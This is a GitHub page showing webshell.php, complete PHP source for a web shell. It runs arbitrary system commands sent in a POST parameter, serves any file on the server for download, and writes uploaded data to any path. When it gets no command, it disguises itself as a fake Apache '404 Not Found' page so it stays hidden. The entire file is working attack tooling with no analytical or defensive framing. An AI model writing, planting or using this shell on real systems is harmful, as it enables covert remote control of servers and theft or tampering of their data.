-
Notifications
You must be signed in to change notification settings - Fork 1
/
webshell.php
112 lines (98 loc) · 2.44 KB
/
webshell.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
<?php
function run($cmd) {
/*
Function wraps execution of system commands
Returns corresponding verbose output of command
*/
exec($cmd . " 2>&1", $output, $ret_code);
if (isset($ret_code)) {
if ($ret_code !== 0) {
return array(
'stderr' => implode("\n", $output),
);
}
elseif ($ret_code == 0 && empty($output)) {
return array(
'stdout' => "No output",
);
}
else {
return array(
'stdout' => implode("\n", $output),
);
}
}
}
function put_file($path) {
/*
Function gets a file from a PUT request, and drops it on $path
Can handle large file uploads
*/
$putdata = fopen("php://input", "r");
$fp = fopen($path, "w");
if ($fp === FALSE) {
return array(
'stderr' => "Could not create file $path",
);
}
else {
/* Read the data 1 KB at a time and write to the file */
while ($data = fread($putdata, 1024))
fwrite($fp, $data);
/* Close the streams */
fclose($fp);
fclose($putdata);
return array(
'stdout' => 'Done',
);
}
}
function get_file($path) {
/*
Function serves file from the server, by chunks of 8KB
Can handle large file servings
*/
if (file_exists($path)) {
header("Content-Length:".filesize($path));
set_time_limit(0);
$file = @fopen($path,"rb");
while(!feof($file))
{
print(@fread($file, 1024*8));
ob_flush();
flush();
}
die();
} else {
http_response_code(404);
die();
}
}
if (isset($_REQUEST["type"])) {
switch ($_REQUEST["type"]) {
case 'cmd':
$output = run($_POST["id"]);
break;
case 'getfile':
$output = get_file($_POST["id"]);
break;
case 'putfile':
$output = put_file($_GET["id"]);
break;
default:
break;
}
header("Content-Type: application/json");
echo json_encode($output);
die();
}
echo "<!DOCTYPE html>
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL ". $_SERVER['REQUEST_URI'] ." was not found on this server.</p>
<hr>
<address>" . @apache_get_version() . "</address>
</body></html>"
?>